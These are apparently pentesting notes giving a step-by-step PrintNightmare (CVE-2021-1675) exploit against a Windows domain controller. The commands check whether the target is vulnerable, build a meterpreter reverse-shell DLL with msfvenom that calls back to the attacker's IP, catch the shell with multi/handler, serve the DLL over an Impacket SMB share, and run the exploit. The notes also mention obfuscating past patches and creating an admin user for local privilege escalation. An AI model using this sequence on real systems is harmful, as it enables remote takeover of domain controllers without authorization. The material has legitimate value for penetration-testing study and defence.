PrintNightmare

PrintNightmare (CVE-2021-1675) - RCE

  • Takes advantage of printer spooler that runs as sys priv

  • Check if our target is vulnerable rpcdump.py @DOMAIN-CONTROLLER-IP | egrep 'MS-RPRN|MS-PAR'

  • Create a malicious dll to run it along the py file from the resource msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKING-MACHINE-IP LPORT=4444 -f dll > shell.dll

    ┌──(root💀kali)-[/home/kali]
    └─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.8 LPORT=4444 -f dll > shell.dll                                                                                                           2 ⨯
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 510 bytes
    Final size of dll file: 8704 bytes
  • run msfconsole to catch the shell use multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST and LPORT

  • setup a file share with smbserver.py (Impacket): smbserver.py share 'pwd' -smb2support (will share current working dir)

  • Run the exploit python3 exploit.py domain.local/username:password@DOMAIN-CONTROLLER-IP-ADD '\\ATTACKING-MACHINE-IP\share\shell.dll'

  • We should get a shell

Note: With patches it might be necessary to use obfuscations techniques

PrintNightmare - LPE

  • Create an user admin from the compromised machine:

  • We launch evilwinrm with this new user and we have an admin shell:

PrintNightmare - Resources

cube0x0 RCE
calebstewart LPE
Playing with PrintNightmare - 0xdf hacks stuff
PrintNightmare - TheMayor Pentesting notes

Last updated